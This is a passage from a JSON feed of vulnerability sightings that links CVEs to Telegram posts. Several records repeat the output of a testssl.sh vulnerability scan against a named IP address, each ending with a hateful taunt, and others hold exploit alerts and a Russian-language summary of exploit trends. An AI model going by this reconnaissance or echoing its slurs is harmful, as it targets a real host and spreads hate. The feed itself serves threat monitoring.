VULNERABLE, uses cipher block chaining (CBC) ciphers with TLS. Check patches\n Winshock (CVE-2014-6321), experimental    not vulnerable (OK)\n RC4 (CVE-2013-2566, CVE-2015-2808)        no RC4 ciphers detected (OK)\n\n\n Done 2024-02-14 22:15:15 [ 152s] -->> 77.81.101.111:443 (77.81.101.111) <<--\n\nYou got fucked RealitateaTV MOSSAD ISIS, Zionist Bastard \ud83d\ude01", "creation_timestamp": "2024-02-15T00:49:09.000000Z"}, {"uuid": "6b7156a1-ec3c-4b6f-b6e9-7961cdc34982", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-0800", "type": "seen", "source": "https://t.me/jokerssec/1351", "content": "====== Running in file batch mode with file=\"hosts/ips.txt\" ======\n\n==========================\n/root/Tools/testssl.sh/testssl.sh --quiet --color 0 -U --warnings=batch 77.81.101.111\n\n\n Start 2024-02-14 22:13:09                -->> 77.81.101.111:443 (77.81.101.111) <<--\n\n rDNS (77.81.101.111):   --\n Service detected:       HTTP\n\n\n Testing vulnerabilities\n\n Heartbleed (CVE-2014-0160)                not vulnerable (OK), no heartbeat extension\n CCS (CVE-2014-0224)                       not vulnerable (OK)\n Ticketbleed (CVE-2016-9244), experiment.  not vulnerable (OK)\n ROBOT                                     not vulnerable (OK)\n Secure Renegotiation (RFC 5746)           supported (OK)\n Secure Client-Initiated Renegotiation     not vulnerable (OK)\n CRIME, TLS (CVE-2012-4929)                not vulnerable (OK)\n BREACH (CVE-2013-3587)                    no gzip/deflate/compress/br HTTP compression (OK)  - only supplied \"/\" tested\n POODLE, SSL (CVE-2014-3566)               not vulnerable (OK)\n TLS_FALLBACK_SCSV (RFC 7507)              Downgrade attack prevention supported (OK)\n SWEET32 (CVE-2016-2183, CVE-2016-6329)    not vulnerable (OK)\n FREAK (CVE-2015-0204)                     not vulnerable (OK)\n DROWN (CVE-2016-0800, CVE-2016-0703)      not vulnerable on this host and port (OK)\n                                           make sure you don't use this certificate elsewhere with SSLv2 enabled services, see\n                                           https://search.censys.io/search?resource=hosts&virtual_hosts=INCLUDE&q=84359F27151AC6F21A23D865CCD523FADB0B99CE8E33878E67081E5BFF1D759C\n LOGJAM (CVE-2015-4000), experimental      common prime with 2048 bits detected: HAProxy (2048 bits),\n                                           but no DH EXPORT ciphers\n BEAST (CVE-2011-3389)                     TLS1: ECDHE-RSA-AES256-SHA\n                                                 HE-RSA-AES256-SHA\n                                                 CDHE-RSA-AES128-SHA\n                                                 HE-RSA-AES128-SHA\n                                                 ES256-SHA\n                                                 ES128-SHA\n                                           VULNERABLE -- but also supports higher protocols  TLSv1.1 TLSv1.2 (likely mitigated)\n LUCKY13 (CVE-2013-0169), experimental     potentially VULNERABLE, uses cipher block chaining (CBC) ciphers with TLS. Check patches\n Winshock (CVE-2014-6321), experimental    not vulnerable (OK)\n RC4 (CVE-2013-2566, CVE-2015-2808)        no RC4 ciphers detected (OK)\n\n\n Done 2024-02-14 22:15:15 [ 152s] -->> 77.81.101.111:443 (77.81.101.111) <<--\n\nYou got fucked RealitateaTV MOSSAD ISIS, Zionist Bastard \ud83d\ude01", "creation_timestamp": "2024-02-15T03:00:05.000000Z"}, {"uuid": "92d7d075-b406-44ec-8e54-9604fd9a101b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "exploited", "source": "Telegram/z9AEqKItZyUv36ZRV050nYRUgzwrIPil9F3C66dIKqg-ng", "content": "", "creation_timestamp": "2024-12-27T15:33:22.000000Z"}, {"uuid": "77384d4d-22b3-4e0b-adce-59bc4349bbb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://t.me/arpsyndicate/1438", "content": "#ExploitObserverAlert\n\nCVE-2018-0802\n\nDESCRIPTION: Exploit Observer has 81 entries related to CVE-2018-0802. Equation Editor in Microsoft Office 2007, Microsoft Office 2010, Microsoft Office 2013, and Microsoft Office 2016 allow a remote code execution vulnerability due to the way objects are handled in memory, aka \"Microsoft Office Memory Corruption Vulnerability\". This CVE is unique from CVE-2018-0797 and CVE-2018-0812.\n\nFIRST-EPSS: 0.972110000\nNVD-IS: 5.9\nNVD-ES: 1.8", "creation_timestamp": "2023-12-05T09:01:31.000000Z"}, {"uuid": "033ecfb4-e663-452d-83e9-a49b5be2568d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://t.me/arpsyndicate/100", "content": "#ExploitObserverAlert\n\nCVE-2018-0802\n\nDESCRIPTION: Exploit Observer has 78 entries related to CVE-2018-0802. Equation Editor in Microsoft Office 2007, Microsoft Office 2010, Microsoft Office 2013, and Microsoft Office 2016 allow a remote code execution vulnerability due to the way objects are handled in memory, aka \"Microsoft Office Memory Corruption Vulnerability\". This CVE is unique from CVE-2018-0797 and CVE-2018-0812.\n\nFIRST-EPSS: 0.973170000\nNVD-IS: 5.9\nNVD-ES: 1.8", "creation_timestamp": "2023-11-12T01:31:24.000000Z"}, {"uuid": "71409192-2df8-442e-a5dc-91e84c182fe6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-0800", "type": "seen", "source": "https://t.me/marianaalecu/3622", "content": "====== Running in file batch mode with file=\"hosts/ips.txt\" ======\n\n==========================\n/root/Tools/testssl.sh/testssl.sh --quiet --color 0 -U --warnings=batch 77.81.101.111\n\n\n Start 2024-02-14 22:13:09                -->> 77.81.101.111:443 (77.81.101.111) <<--\n\n rDNS (77.81.101.111):   --\n Service detected:       HTTP\n\n\n Testing vulnerabilities\n\n Heartbleed (CVE-2014-0160)                not vulnerable (OK), no heartbeat extension\n CCS (CVE-2014-0224)                       not vulnerable (OK)\n Ticketbleed (CVE-2016-9244), experiment.  not vulnerable (OK)\n ROBOT                                     not vulnerable (OK)\n Secure Renegotiation (RFC 5746)           supported (OK)\n Secure Client-Initiated Renegotiation     not vulnerable (OK)\n CRIME, TLS (CVE-2012-4929)                not vulnerable (OK)\n BREACH (CVE-2013-3587)                    no gzip/deflate/compress/br HTTP compression (OK)  - only supplied \"/\" tested\n POODLE, SSL (CVE-2014-3566)               not vulnerable (OK)\n TLS_FALLBACK_SCSV (RFC 7507)              Downgrade attack prevention supported (OK)\n SWEET32 (CVE-2016-2183, CVE-2016-6329)    not vulnerable (OK)\n FREAK (CVE-2015-0204)                     not vulnerable (OK)\n DROWN (CVE-2016-0800, CVE-2016-0703)      not vulnerable on this host and port (OK)\n                                           make sure you don't use this certificate elsewhere with SSLv2 enabled services, see\n                                           https://search.censys.io/search?resource=hosts&virtual_hosts=INCLUDE&q=84359F27151AC6F21A23D865CCD523FADB0B99CE8E33878E67081E5BFF1D759C\n LOGJAM (CVE-2015-4000), experimental      common prime with 2048 bits detected: HAProxy (2048 bits),\n                                           but no DH EXPORT ciphers\n BEAST (CVE-2011-3389)                     TLS1: ECDHE-RSA-AES256-SHA\n                                                 HE-RSA-AES256-SHA\n                                                 CDHE-RSA-AES128-SHA\n                                                 HE-RSA-AES128-SHA\n                                                 ES256-SHA\n                                                 ES128-SHA\n                                           VULNERABLE -- but also supports higher protocols  TLSv1.1 TLSv1.2 (likely mitigated)\n LUCKY13 (CVE-2013-0169), experimental     potentially VULNERABLE, uses cipher block chaining (CBC) ciphers with TLS. Check patches\n Winshock (CVE-2014-6321), experimental    not vulnerable (OK)\n RC4 (CVE-2013-2566, CVE-2015-2808)        no RC4 ciphers detected (OK)\n\n\n Done 2024-02-14 22:15:15 [ 152s] -->> 77.81.101.111:443 (77.81.101.111) <<--\n\nYou got fucked RealitateaTV MOSSAD ISIS, Zionist Bastard \ud83d\ude01", "creation_timestamp": "2024-02-15T00:48:21.000000Z"}, {"uuid": "e429b510-a4a5-4f6c-b71c-a6735e3d77d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-0800", "type": "seen", "source": "https://t.me/thegoodfatherag/8840", "content": "====== Running in file batch mode with file=\"hosts/ips.txt\" ======\n\n==========================\n/root/Tools/testssl.sh/testssl.sh --quiet --color 0 -U --warnings=batch 77.81.101.111\n\n\n Start 2024-02-14 22:13:09                -->> 77.81.101.111:443 (77.81.101.111) <<--\n\n rDNS (77.81.101.111):   --\n Service detected:       HTTP\n\n\n Testing vulnerabilities\n\n Heartbleed (CVE-2014-0160)                not vulnerable (OK), no heartbeat extension\n CCS (CVE-2014-0224)                       not vulnerable (OK)\n Ticketbleed (CVE-2016-9244), experiment.  not vulnerable (OK)\n ROBOT                                     not vulnerable (OK)\n Secure Renegotiation (RFC 5746)           supported (OK)\n Secure Client-Initiated Renegotiation     not vulnerable (OK)\n CRIME, TLS (CVE-2012-4929)                not vulnerable (OK)\n BREACH (CVE-2013-3587)                    no gzip/deflate/compress/br HTTP compression (OK)  - only supplied \"/\" tested\n POODLE, SSL (CVE-2014-3566)               not vulnerable (OK)\n TLS_FALLBACK_SCSV (RFC 7507)              Downgrade attack prevention supported (OK)\n SWEET32 (CVE-2016-2183, CVE-2016-6329)    not vulnerable (OK)\n FREAK (CVE-2015-0204)                     not vulnerable (OK)\n DROWN (CVE-2016-0800, CVE-2016-0703)      not vulnerable on this host and port (OK)\n                                           make sure you don't use this certificate elsewhere with SSLv2 enabled services, see\n                                           https://search.censys.io/search?resource=hosts&virtual_hosts=INCLUDE&q=84359F27151AC6F21A23D865CCD523FADB0B99CE8E33878E67081E5BFF1D759C\n LOGJAM (CVE-2015-4000), experimental      common prime with 2048 bits detected: HAProxy (2048 bits),\n                                           but no DH EXPORT ciphers\n BEAST (CVE-2011-3389)                     TLS1: ECDHE-RSA-AES256-SHA\n                                                 HE-RSA-AES256-SHA\n                                                 CDHE-RSA-AES128-SHA\n                                                 HE-RSA-AES128-SHA\n                                                 ES256-SHA\n                                                 ES128-SHA\n                                           VULNERABLE -- but also supports higher protocols  TLSv1.1 TLSv1.2 (likely mitigated)\n LUCKY13 (CVE-2013-0169), experimental     potentially VULNERABLE, uses cipher block chaining (CBC) ciphers with TLS. Check patches\n Winshock (CVE-2014-6321), experimental    not vulnerable (OK)\n RC4 (CVE-2013-2566, CVE-2015-2808)        no RC4 ciphers detected (OK)\n\n\n Done 2024-02-14 22:15:15 [ 152s] -->> 77.81.101.111:443 (77.81.101.111) <<--\n\nYou got fucked RealitateaTV MOSSAD ISIS, Zionist Bastard \ud83d\ude01", "creation_timestamp": "2024-02-15T03:24:44.000000Z"}, {"uuid": "63889f35-574e-4120-b84a-a46ceb375be7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-0800", "type": "seen", "source": "https://t.me/fucklulzsecisrahell/6294", "content": "====== Running in file batch mode with file=\"hosts/ips.txt\" ======\n\n==========================\n/root/Tools/testssl.sh/testssl.sh --quiet --color 0 -U --warnings=batch 77.81.101.111\n\n\n Start 2024-02-14 22:13:09                -->> 77.81.101.111:443 (77.81.101.111) <<--\n\n rDNS (77.81.101.111):   --\n Service detected:       HTTP\n\n\n Testing vulnerabilities\n\n Heartbleed (CVE-2014-0160)                not vulnerable (OK), no heartbeat extension\n CCS (CVE-2014-0224)                       not vulnerable (OK)\n Ticketbleed (CVE-2016-9244), experiment.  not vulnerable (OK)\n ROBOT                                     not vulnerable (OK)\n Secure Renegotiation (RFC 5746)           supported (OK)\n Secure Client-Initiated Renegotiation     not vulnerable (OK)\n CRIME, TLS (CVE-2012-4929)                not vulnerable (OK)\n BREACH (CVE-2013-3587)                    no gzip/deflate/compress/br HTTP compression (OK)  - only supplied \"/\" tested\n POODLE, SSL (CVE-2014-3566)               not vulnerable (OK)\n TLS_FALLBACK_SCSV (RFC 7507)              Downgrade attack prevention supported (OK)\n SWEET32 (CVE-2016-2183, CVE-2016-6329)    not vulnerable (OK)\n FREAK (CVE-2015-0204)                     not vulnerable (OK)\n DROWN (CVE-2016-0800, CVE-2016-0703)      not vulnerable on this host and port (OK)\n                                           make sure you don't use this certificate elsewhere with SSLv2 enabled services, see\n                                           https://search.censys.io/search?resource=hosts&virtual_hosts=INCLUDE&q=84359F27151AC6F21A23D865CCD523FADB0B99CE8E33878E67081E5BFF1D759C\n LOGJAM (CVE-2015-4000), experimental      common prime with 2048 bits detected: HAProxy (2048 bits),\n                                           but no DH EXPORT ciphers\n BEAST (CVE-2011-3389)                     TLS1: ECDHE-RSA-AES256-SHA\n                                                 HE-RSA-AES256-SHA\n                                                 CDHE-RSA-AES128-SHA\n                                                 HE-RSA-AES128-SHA\n                                                 ES256-SHA\n                                                 ES128-SHA\n                                           VULNERABLE -- but also supports higher protocols  TLSv1.1 TLSv1.2 (likely mitigated)\n LUCKY13 (CVE-2013-0169), experimental     potentially VULNERABLE, uses cipher block chaining (CBC) ciphers with TLS. Check patches\n Winshock (CVE-2014-6321), experimental    not vulnerable (OK)\n RC4 (CVE-2013-2566, CVE-2015-2808)        no RC4 ciphers detected (OK)\n\n\n Done 2024-02-14 22:15:15 [ 152s] -->> 77.81.101.111:443 (77.81.101.111) <<--\n\nYou got fucked RealitateaTV MOSSAD ISIS, Zionist Bastard \ud83d\ude01", "creation_timestamp": "2024-02-15T02:55:48.000000Z"}, {"uuid": "9c499e4b-ff84-47fd-8138-50651a56e90d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0809", "type": "seen", "source": "Telegram/5SqgVBVyGy9FUgGyErsKXYg7KGf0PTEmayhypJi60d7DWW4", "content": "", "creation_timestamp": "2025-01-31T09:30:58.000000Z"}, {"uuid": "1517bc3f-8cf2-4579-9e73-d0da611070db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0802", "type": "published-proof-of-concept", "source": "Telegram/__90Mp0Rvt99JAd3XmDTMRls0v98qBw_5XQu0q-N8kQJzto", "content": "", "creation_timestamp": "2025-01-29T04:31:10.000000Z"}, {"uuid": "ee75047b-52c1-4905-a956-e3c2241e8426", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0803", "type": "published-proof-of-concept", "source": "Telegram/__90Mp0Rvt99JAd3XmDTMRls0v98qBw_5XQu0q-N8kQJzto", "content": "", "creation_timestamp": "2025-01-29T04:31:10.000000Z"}, {"uuid": "dcb7a7d8-5fb6-4a08-ab82-b17880897fcd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0809", "type": "seen", "source": "https://t.me/cibsecurity/71422", "content": "\u203c CVE-2023-0809 \u203c\n\nIn Mosquitto before 2.0.16, excessive memory is allocated based on malicious initial packets that are not CONNECT packets.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-02T22:40:34.000000Z"}, {"uuid": "86542161-6467-46ae-904c-98e11a99a34f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "exploited", "source": "https://t.me/true_secator/6124", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0443 \u043f\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u043c \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0437\u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2024 \u0433\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043d\u0430\u0441\u044b\u0449\u0435\u043d\u043d\u044b\u043c \u0441 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f \u043d\u043e\u0432\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u0438 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0412 \u043d\u043e\u0432\u043e\u043c \u043e\u0442\u0447\u0435\u0442\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0440\u0435\u0437\u044b \u043f\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c.\n\n\u041e\u0431\u0449\u0435\u0435 \u0447\u0438\u0441\u043b\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u0440\u0435\u0432\u044b\u0441\u0438\u043b\u043e \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0438 \u0437\u0430 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0439 \u043f\u0435\u0440\u0438\u043e\u0434 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u0433\u043e\u0434\u0430, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044f \u0434\u0438\u043d\u0430\u043c\u0438\u043a\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0430.\n\n\u0414\u043e\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441 PoC \u0438 \u043e\u0442\u043d\u043e\u0441\u044f\u0449\u0438\u0445\u0441\u044f \u043a \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u043d\u0435\u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u043d\u0438\u0437\u0438\u043b\u0430\u0441\u044c \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e 2023 \u0433\u043e\u0434\u0430. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043f\u043e \u0442\u0438\u043f\u0443 \u043f\u043e\u0434\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0435 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0442\u0441\u0442\u043e\u044f\u0442\u0441\u044f \u043a \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c.\n\n\u0422\u0430\u043a\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438, \u0442\u0430\u043a \u043a\u0430\u043a \u043a \u0447\u0438\u0441\u043b\u0443 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u041f\u041e \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c: \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043e\u0431\u043c\u0435\u043d\u0430 \u0444\u0430\u0439\u043b\u0430\u043c\u0438, \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u0447\u0435\u0440\u0435\u0437 VPN, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u043c\u0438 \u0438 IoT-\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c\u0438.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0434\u0430\u043d\u043d\u044b\u0445 \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0438 \u041b\u041a, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u043b\u044f Windows \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0440\u0430\u0441\u0442\u0438 \u0432 \u043f\u0435\u0440\u0432\u0443\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0437\u0430 \u0441\u0447\u0435\u0442 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u0440\u0430\u0441\u0441\u044b\u043b\u043e\u043a \u0438 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043f\u0443\u0442\u0435\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.\n\n\u041a \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u043c \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u0442\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Microsoft Office (CVE-2018-0802, CVE-2017-11882\u00a0, CVE-2017-0199\u00a0 \u0438 CVE-2021-40444\u00a0).\n\n\u041d\u0430\u0431\u0438\u0440\u0430\u044e\u0449\u0430\u044f \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0435 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 Linux \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0440\u043e\u0441\u0442, \u043e\u0434\u043d\u0430\u043a\u043e \u0432 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0432\u0435\u0441 Windows \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u044b \u043d\u0430 \u044f\u0434\u0440\u043e (CVE-2022-0847, CVE-2023-2640 \u0438 CVE-2021-4034), \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u044f EoP.\n\n\u0422\u043e\u043f-10 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0432 APT-\u0430\u0442\u0430\u043a\u0430\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0441\u044f \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u00a0\u043f\u0435\u0440\u0432\u043e\u0433\u043e \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0430, \u043d\u043e \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0432\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u0441\u0435\u0442\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0435 \u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e-\u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0442\u0435\u0445 \u0436\u0435 \u0442\u0438\u043f\u043e\u0432: \u0441\u0435\u0440\u0432\u0438\u0441\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u0440\u0430\u0437\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u043e\u0444\u0438\u0441\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.\n\n\u0411\u043e\u043b\u044c\u0448\u043e\u0435 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0430\u0442\u0430\u043a\u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c Bring You Own Vulnerable Driver (BYOVD). \u041f\u0440\u0438\u0447\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u044b\u0442\u044c \u0441\u0432\u0435\u0436\u0435\u0439, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u0430\u043c\u0438 \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 